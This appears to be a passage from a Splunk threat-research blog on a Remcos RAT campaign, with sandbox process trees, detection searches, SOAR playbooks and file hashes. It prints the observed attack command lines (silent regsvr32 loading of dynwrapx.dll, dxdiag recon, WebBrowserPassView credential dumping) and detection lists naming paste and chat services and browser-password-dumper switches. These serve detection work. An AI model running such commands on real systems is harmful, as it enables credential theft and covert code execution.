CF7E1F81CE989181C85FEC35C9EE8F427F184F2912C6933AF53C82A609845286	9 / 57	74.82 MB	2021-09-23 12:34:08	2021-09-23 12:34:08	1

The pattern of behavior we queried for looks like this in VTI -



Processes Tree

- → 2684 wmiadap.exe /F /T /R
- → 2740 %windir%\system32\wbem\wmiprvse.exe
- → 1036 wscript.exe %SAMPLEPATH%
 - → 1468 "%windir%\SYSWOW64\WSCRIPT.EXE" //b //e:vbscript "%SAMPLEPATH%"
 - → 2252 "%windir%\System32\regsvr32.exe" /I /S "%TEMP%\dynwrapx.dll"
 - → 2120 "%windir%\winhlp32.exe"
 - → 2156 "%windir%\winhlp32.exe"
 - → 2264 "%windir%\winhlp32.exe"
 - → 2112 "%windir%\System32\regsvr32.exe" /I /S "%TEMP%\dynwrapx.dll"
 - → 2168 "%windir%\System32\regsvr32.exe" /I /S "%TEMP%\dynwrapx.dll"

Following using winhlp32.exe, STRT noticed it shifted to using installutil.exe. With installutil.exe, the pattern is very similar. The biggest difference STRT noticed was, during the VBScript execution, unlike winhlp32.exe, installutil.exe did not load dynwrapx.dll.

VirusTotal behavior query:

```
behavior:"\"%windir%\\System32\\regsvr32.exe\" /I /S \"%TEMP%\\dynwrapx.dll\""
behavior:"\\installutil.exe\""
```

Processes Tree

- → 2296 %windir%\System32\svchost.exe -k WerSvcGroup
 - → 2952 %windir%\SysWOW64\WerFault.exe -u -p 2940 -s 20
- → 2244 wmiadap.exe /F /T /R
- → 2252 %windir%\system32\wbem\wmiprvse.exe
- → 2676 wscript.exe %SAMPLEPATH%
 - → 2808 "%windir%\SYSWOW64\WSCRIPT.EXE" //b //e:vbscript "%SAMPLEPATH%"
 - → 2868 "%windir%\System32\regsvr32.exe" /I /S "%TEMP%\dynwrapx.dll"
 - → 2888 "%windir%\System32\regsvr32.exe" /I /S "%TEMP%\dynwrapx.dll"
 - → 2924 "%windir%\System32\regsvr32.exe" /I /S "%TEMP%\dynwrapx.dll"
 - → 2912 "%windir%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.eXe"
 - → 2940 "%windir%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.eXe"
 - → 2876 "%windir%\Microsoft.NET\Framework\v4.0.30319\InstallUtil.eXe"

STRT, generated a few additional queries that helped us to holistically look for other samples, these provided insight into further behaviors, but also the visibility into how much interaction and changes go into each campaign.

```
behaviour_processes:"\"%windir%\\SYSWOW64\\WSCRIPT.EXE\" //b //e:vbscript
\"%SAMPLEPATH%\""
```

```
content:
{5365742044796e577261704f626a203d204372656174654f626a656374282244796e616d696357726170706
```

VT Correlation Graph of Remcos:

The following <u>VT Correlation Graph</u> shows us the affected countries by this Remcos campaign, the number of C2 servers connections it made to download other malware or its components. Even some interesting infection chain vectors like dropping .Ink file and downloading components from its C2.



Remcos Analytic Story

The update on the <u>analytic story</u> introduced 21 new and 5 modified detections. In this section, we describe some of these analytics.

Suspicious Process DNS Query Known Abuse Web Services

Detects a suspicious process making a DNS query via known abuse text paste web services, or VoIP, instant messaging, and digital distribution platform to use to download external files. This technique is abused by adversaries, malware actors, and red teams to download a malicious

file on the target host. This is a good TTP indicator for possible initial access techniques. A user will experience false positives if the following instant messaging is allowed or common applications like telegram, discord are allowed in the corporate network.

`sysmon` EventCode=22 QueryName IN ("*pastebin*", "*discord*", "*telegram*", "*t.me*")
process_name IN ("cmd.exe", "*powershell*", "pwsh.exe", "wscript.exe", "cscript.exe")
| stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName
QueryStatus process_name QueryResults Computer
| `security_content_ctime(firstTime)`
| `security_content_ctime(lastTime)`

<pre>`sysmon` EventCode=22 QueryName IN ("*pastebin*", "*discord*", "*telegram*", "*t.me*") process_name IN ("cmd.exe", "*powershell*", "pwsh.exe", "wscript.exe", "cscript.exe") stats count min(_time) as firstTime max(_time) as lastTime by Image QueryName QueryStatus process_name QueryResults Computer `security_content_ctime(firstTime)` `security_content_ctime(lastTime)` / 5 events (18/11/2021 06:21:00.000 to 18/11/2021 10:21:17.000) No Event Sampling *</pre>					
Events Patterns Statistics (3) Visualization					
20 Per Page 🔻 🖌 Format 🛛 Preview 🔻					
Image 🗘 🖌 🖌	QueryName 🗘 🖌	✓ QueryStatus ≑	≠ process_name	QueryResults 🕏	
C:\Windows\System32\WScript.exe	pastebin.com	0	WScript.exe	::ffff:104.23.9	
C:\Windows\System32\WScript.exe	pastebin.com	0	WScript.exe	::ffff:104.23.9	
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	cdn.discordapp.com	0	powershell.exe	::ffff:162.159.	

Loading Of Dynwrapx Module

DynamicWrapperX is an ActiveX component that can be used in a VBScript to call Windows API functions, but it requires the dynwrapx.dll to be installed and registered. With that, registering or loading dynwrapx.dll to a host is highly suspicious. In most instances when it is maliciously used the best way to triage is to review parallel processes and pivot on the process_guid. Review the registry for any suspicious modifications meant to load dynwrapx.dll. Identify any suspicious module loads of dynwrapx.dll. This detection will return and identify the processes that invoke vbs/wscript/cscript.

	wscript.exe (6160)	2021-09-29 19:41:47	"C:\Windows\SYSW0W64\WSCRIPT.EXE" //b //e: <mark>vbs</mark> cript "C:\Users\Administrator\Desktop\6104039597178880\remcos. <mark>vbs</mark> "
	<pre>inhlp32.exe (10068)</pre>	2021-09-29 19:41:54	"C:\Windows\winhlp32.exe"
•••	<pre>`` regsvr32.exe (3584)</pre>	2021-09-29 19:41:52	"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\ADMINI~1\AppData\Local\Temp\2\dynwrapx.dll"
• •	<pre>`` winhlp32.exe (6448)</pre>	2021-09-29 19:41:52	"C:\Windows\winhlp32.exe"
• •	<pre>`` regsvr32.exe (6760)</pre>	2021-09-29 19:41:50	"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\ADMINI~1\AppData\Local\Temp\2\dynwrapx.dll"
•••	<pre>`` winhlp32.exe (8256)</pre>	2021-09-29 19:41:49	"C:\Windows\winhlp32.exe"
• •	wscript.exe (10152)	2021-09-29 19:41:55	$\label{eq:constraint} $$ C:Windows\System32WScript.exe" $$ C:USers\ADMINI~1\AppData\Local\Temp\2\wiofwjtjlqqbmphhhntqkfievo.$$ vbs"$$ C:Windows\System32WScript.exe" $$ C:USers\ADMINI~1\AppData\Local\Temp\2\wiofwjtjlqqbmphhhntqkfievo.$$ vbs"$$ C:Windows\System32WScript.exe" $$ C:USers\ADMINI~1\AppData\Local\Temp\2\wiofwjtjlqqbmphhhntqkfievo.$$ vbs"$$ C:Windows\System32WScript.exe" $$ C:WSers\ADMINI~1\AppData\Local\Temp\2\wiofwjtjlqqbmphhhntqkfievo.$$ vbs"$$ C:WSers\ADMINI~1\AppData\Local\Temp\2\wiofwjtjlqqbmphhhntqkfievo.$ vbs"$$ C:WSers\ADMINI~1\AppData\Local\Temp\ADMINI~1\AppData\Local\Temp\ADMINI~1\AppData\Local\Temp\ADMINI~1\AppData\Local\Temp\ADMINI~1\AppData\Local\Temp\ADMINI~1\AppData\Local\Temp\ADMINI~1\AppDATAADM$
•••	regsvr32.exe (4132)	2021-09-29 19:41:47	"C:\Windows\System32\regsvr32.exe" /I /S "C:\Users\ADMINI~1\AppData\Local\Temp\2\dynwrapx.dll"

`sysmon` EventCode=7 (ImageLoaded = "*\\dynwrapx.dll" OR OriginalFileName =
"dynwrapx.dll" OR Product = "DynamicWrapperX")

stats count min(_time) as firstTime max(_time) as lastTime

by Image ImageLoaded OriginalFileName Product process_name Computer EventCode Signed ProcessId

- `security_content_ctime(firstTime)`
- `security_content_ctime(lastTime)`

<pre>`sysmon` EventCode=7 (ImageLoaded = "*\\dynwrapx.dll" OR OriginalFileName = "dynwrapx.dll" OR Product = "DynamicWrapperX") stats count min(_time) as firstTime max(_time) as lastTime py Image ImageLoaded OriginalFileName Product process_name Computer EventCode Signed ProcessId `security_content_ctime(firstTime)` `security_content_ctime(lastTime)`</pre>					
✓ 2 events (18/11/2021 06:09:00.000 to	o 18/11/2021 10:09:45.000) No Event Sampling -				
Events Patterns Statistics (2)	Visualization				
20 Per Page 🔻 🖌 Format 🛛 Prev	iew 🔻				
Image 🗘 🖌	ImageLoaded 🗘 🖌 🖌	OriginalFileName ✓ ≑	Product 🗢 🖌	// process_name ≑	
C:\Windows\SysWOW64\regsvr32.exe	C:\Users\ADMINI-1\AppData\Local\Temp\2\dynwrapx.dll	dynwrapx.dll	DynamicWrapperX	dynwrapx.dll	
C:\Windows\SysWOW64\wscript.exe	C:\Users\ADMINI~1\AppData\Local\Temp\2\dynwrapx.dll	dynwrapx.dll	DynamicWrapperX	dynwrapx.dll	

System Info Gathering Using Dxdiag Application

Detects a suspicious dxdiag.exe process command-line execution. Dxdiag is used to collect the system info of the target host. This technique was seen used by Remcos RATS, various actors, and other malware to collect information as part of the recon or collection phase of an attack. This behavior should be rarely seen in a corporate network, but this command line can be used by a network administrator to audit host machine specifications. Thus in some rare cases, this detection will contain false positives in its results. To triage further, analyze what commands were passed after it pipes out the result to a file for further processing. Examples of <u>anyrun</u> remcos analysis that shows its behavior before and after this technique was executed.

| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)

```
as lastTime from datamodel=Endpoint.Processes where `process_dxdiag` AND Processes.process
```

= "* /t *" by Processes.dest Processes.user Processes.parent_process_name
Processes.parent_process

Processes.process_name Processes.process Processes.process_id Processes.parent_process_id

```
| `drop_dm_object_name(Processes)` | `security_content_ctime(firstTime)` |
`security_content_ctime(lastTime)`
```

<pre> tstats `security_content_summariesonly` count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where `process_dxdiag` AND Processes.process = "* /t *" by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process Processes.process_name Processes.process Processes.process_id Processes.parent_process_id `drop_dm_object_name(Processes)` `security_content_ctime(firstTime)` `security_content_ctime(lastTime)`</pre>					
✓ 2 events (15/11/2021 12:00:0)	0.000 to 22/11/202	1 12:12:49.000) No Event S	ampling 🔻		
Events Patterns Stati	stics (2) Visua	lization			
20 Per Page 🔻 🖌 Format	Preview *				
dest 🗘 🖌	user 🗘 🖌	✓ parent_process_name ≎	parent_process ‡	≠ process_name ¢	process \$
win-dc- 970.attackrange.local	Administrator	cmd.exe	"C:\Windows\system32\cmd.exe"	dxdiag.exe	<pre>dxdiag /t c:\temp\sysinfo.txt</pre>
win-dc- 970.attackrange.local	administrator	cmd.exe	C:\Windows\System32\cmd.exe	dxdiag.exe	C:\Windows\System32\dxdiag.exe /t c:\temp\sysinfo.txt

Possible Browser Pass View Parameter

Detects a suspicious process that contains command-line parameters related to a web browser credential dumper. This technique is used by Remcos RAT malware where it uses the Nirsoft webbrowserpassview.exe application to dump web browser credentials. Remcos use the "/stext" command line to dump the credential in text format. This Hunting query is a good indicator of hosts suffering from possible Remcos RAT infection. Since the hunting query is based on the parameter command and the possible path where it will save the text credential information, It may catch normal tools that are using the same command and behavior.

```
| tstats `security_content_summariesonly` count min(_time) as firstTime max(_time)
```

```
as lastTime from datamodel=Endpoint.Processes where Processes.process IN ("*/stext*",
"*/shtml *", "*/LoadPasswordsIE*", "*/LoadPasswordsFirefox*",
"*/LoadPasswordsChrome*", "*/LoadPasswordsOpera*", "*/LoadPasswordsSafari*",
"*/UseOperaPasswordFile*", "*/OperaPasswordFile*", "*/stab*", "*/scomma*", "*/stabular*",
"*/shtml*", "*/sverhtml*", "*/sxml*", "*/skeepass*") AND Processes.process IN
("*\\temp\\*", "*\\users\\public\\*", "*\\programdata\\*")
```

by Processes.dest Processes.user Processes.parent_process_name Processes.parent_process
Processes.process_name Processes.process Processes.process_id
Processes.parent_process_id Processes.original_file_name

```
| `drop_dm_object_name(Processes)`
```

```
| `security_content_ctime(firstTime)`
```

| `security_content_ctime(lastTime)`

New Search						
<pre> tstats `security_content_summariesonly' count min(_time) as firstTime max(_time) as lastTime from datamodel=Endpoint.Processes where Processes.process IN (**/stext **, **/shtml **, **/LoadPasswordsIE**, **/LoadPasswordsFirefox**, **/LoadPasswordsChrome**, **/LoadPasswordsOpera**, **/LoadPasswordsSafari** , **/UseOperaPasswordFile**, **/OperaPasswordFile**, **/stabular**, **/stabular**, **/stabular**, **/stabular**, **/stabular**, **/LoadPasswordsSafari** , **/UseOperaPasswordFile**, **/OperaPasswordFile**, **/scomma**, **/stabular**, **/stabular**,</pre>						
✓ 2 events (15/11/2021 13:	00:00.000 to 22/11/	2021 13:46:53.000) No	Event Sampling 🕶			
Events Patterns	Statistics (2) Vi	isualization				
20 Per Page 💌 🖌 Form	nat Preview •					
dest 🌣 🖌	user 🗘 🖌	≠ parent_process_name	parent_process \$	process_name 🗘 🖌	process \$	/
win-dc- 970.attackrange.local	Administrator	cmd.exe	"cmd.exe" /s /k pushd "C:\Users\Administrator\Downloads"	WebBrowserPassView.exe	WebBrowserPassView.exe /stext c:\temp\1sdasdada	
win-dc- 970.attackrange.local	administrator	cmd.exe	C:\Windows\System32\cmd.exe	WebBrowserPassView.exe	C:\Users\Administrator\Downloads\WebBrowserPassVie /stext c:\temp\1sdasdada	w.exe

Name	Technique ID	Tactic	Description
<u>Suspicious</u> <u>Process DNS</u> <u>Query Known</u> <u>Abuse Web</u> <u>Services</u>	<u>T1059.005</u>	Execution	Detects a suspicious process having a DNS query on known abuse text paste web services, or VoIP, instant messaging, and digital distribution platform to download some files.
<u>Loading Of</u> <u>Dynwrapx Module</u>	<u>T1055.001</u>	Defense Evasion, Privilege Escalation	Detects loading of dynwrapx.dll in a process
<u>Wscript Or Cscript</u> <u>Suspicious Child</u> <u>Process</u>	<u>T1055</u>	Defense Evasion, Privilege Escalation	Detects suspicious child process of wscript and cscript process.
<u>Winhlp32</u> <u>Spawning a</u> <u>Process</u>	<u>T1055</u>	Defense Evasion, Privilege Escalation	Detects winhlp32 spawning another process

Process Writing DynamicWrapperX		<u>T1559.001</u>	Execution	Detects dropping of dynwrapx.dll to use DynamicWrapperX which is an ActiveX component that can be used in a script
				to call Windows API functions.
Vbscript Execu Using Wscript	<u>ution</u> App	<u>T1059.005</u>	Execution	Detects execution of vbscript using wscript.exe.
Jscript Executi Using Cscript	ion App	<u>T1059.007</u>	Execution	Detects execution of jscript using cscript.exe.
Regsvr32 Siler and Install Par Dll Loading	<u>nt</u> am	<u>T1218.010</u>	Defense Evasion	Detects install silent parameter of regsvr32.exe
Regsvr32 with Known Silent Switch Cmdline	<u>e</u>	<u>T1218.010</u>	Defense Evasion	Detects silent switch of regsvr32.exe.
<u>System Info</u> <u>Gathering Usir</u> Dxdiag Applica	<u>ng</u> ation	<u>T1592</u>	Reconnaissance	Detects dxdiag process for possible system info collection parameter /t
Possible Brows Pass View Parameter	<u>ser</u>	<u>T1555.003</u>	Credential Access	Detects possible web browser credential dumper process
Hashes				
Filename	Hasl	nes - sha256		
invoice.vbs	cb77	'b93150cb0f71	fe65ce8a7e2a5781	e727419451355a7736db84109fa215a89
remcos.dll	ff169	ae934b92a2c	lfe78f4793c60256c	4f36992a0e1218ed6b6d59b3809ed210
dynwrapx.dll	4ef3	a6703abc6b2	b8e2cac3031c1e5t	o86fe8b377fde92737349ee52bd2604379
shellcode	c344	723295279aa	aaf2a4220a77d74d	b903985264cf3adfba5015f9f31f0dddec

Automating with SOAR Playbooks

pastebin)

The following community Splunk SOAR playbooks mentioned below can be used in conjunction with some of the previously described analytics:

Name	Description
<u>Malware</u> Hunt And Contain	This playbook hunts for malware across managed endpoints, disables affected users, shuts down their devices, and blocks files by their hash from further execution via Carbon Black.
Email Notification for Malware	This playbook tries to determine if a file is malware and whether or not the file is present on any managed machines. VirusTotal "file reputation" and PANW WildFire "detonate file" are used to determine if a file is malware, and CarbonBlack Response "hunt file" is used to search managed machines for the file. The results of these investigations are summarized in an email to the incident response team.
<u>Block</u> Indicators	This playbook retrieves IP addresses, domains, and file hashes, blocks them on various services, and adds them to specific blocklists as custom lists

Why Should You Care?

This blog shows how vbscript and jscript are leveraged by all sorts of offensive actors including <u>penetration testing consultants</u>, <u>cybercrime actors</u>, and <u>cyber espionage actors</u> in process injection and shellcode execution. Unlike binary malware loaders, malware loader scripts are very flexible in terms of updates, encryption and also code obfuscation to bypass detections. According to unit42's 2020 article, <u>Script base malware is one of the new attacker trends</u> and it keeps on evolving and improving as part of the malware tooling ecosystem. Cyber Defenders need to design and deploy effective monitoring capabilities that allow them to detect and respond to: suspicious script execution, process injection and suspicious use of text paste web service in their corporate or server networks.

Learn More

You can find the latest content about security analytic stories on <u>research.splunk.com</u>. For a full list of security content, check out the <u>release notes</u> on <u>Splunk Docs</u>.

<u>3.32.0</u>

Feedback

Any feedback or requests? Feel free to put in an issue on Github and we'll follow up. Alternatively, join us on the <u>Slack</u> channel #security-research. Follow <u>these instructions</u> If you need an invitation to our Splunk user groups on Slack.

Contributors

We would like to thank the following for their contributions to this post.

- Teoderick Contreras
- Michael Haag
- Jose Hernandez
- Lou Stella



Posted by

Splunk Threat Research Team

The Splunk Threat Research Team is an active part of a customer's overall defense strategy by enhancing Splunk security offerings with verified research and security content such as use cases, detection searches, and playbooks. We help security teams around the globe strengthen operations by providing tactical guidance and insights to detect, investigate and respond against the latest threats. The Splunk Threat Research Team focuses on understanding how threats, actors, and vulnerabilities work, and the team replicates attacks which are stored as

datasets in the Attack Data repository.

Our goal is to provide security teams with research they can leverage in their day to day operations and to become the industry standard for SIEM detections. We are a team of industry-recognized experts who are encouraged to improve the security industry by sharing our work with the community via conference talks, open-sourcing projects, and writing white papers or blogs. You will also find us presenting our research at conferences such as Defcon, Blackhat, RSA, and many more.

Read more Splunk Security Content.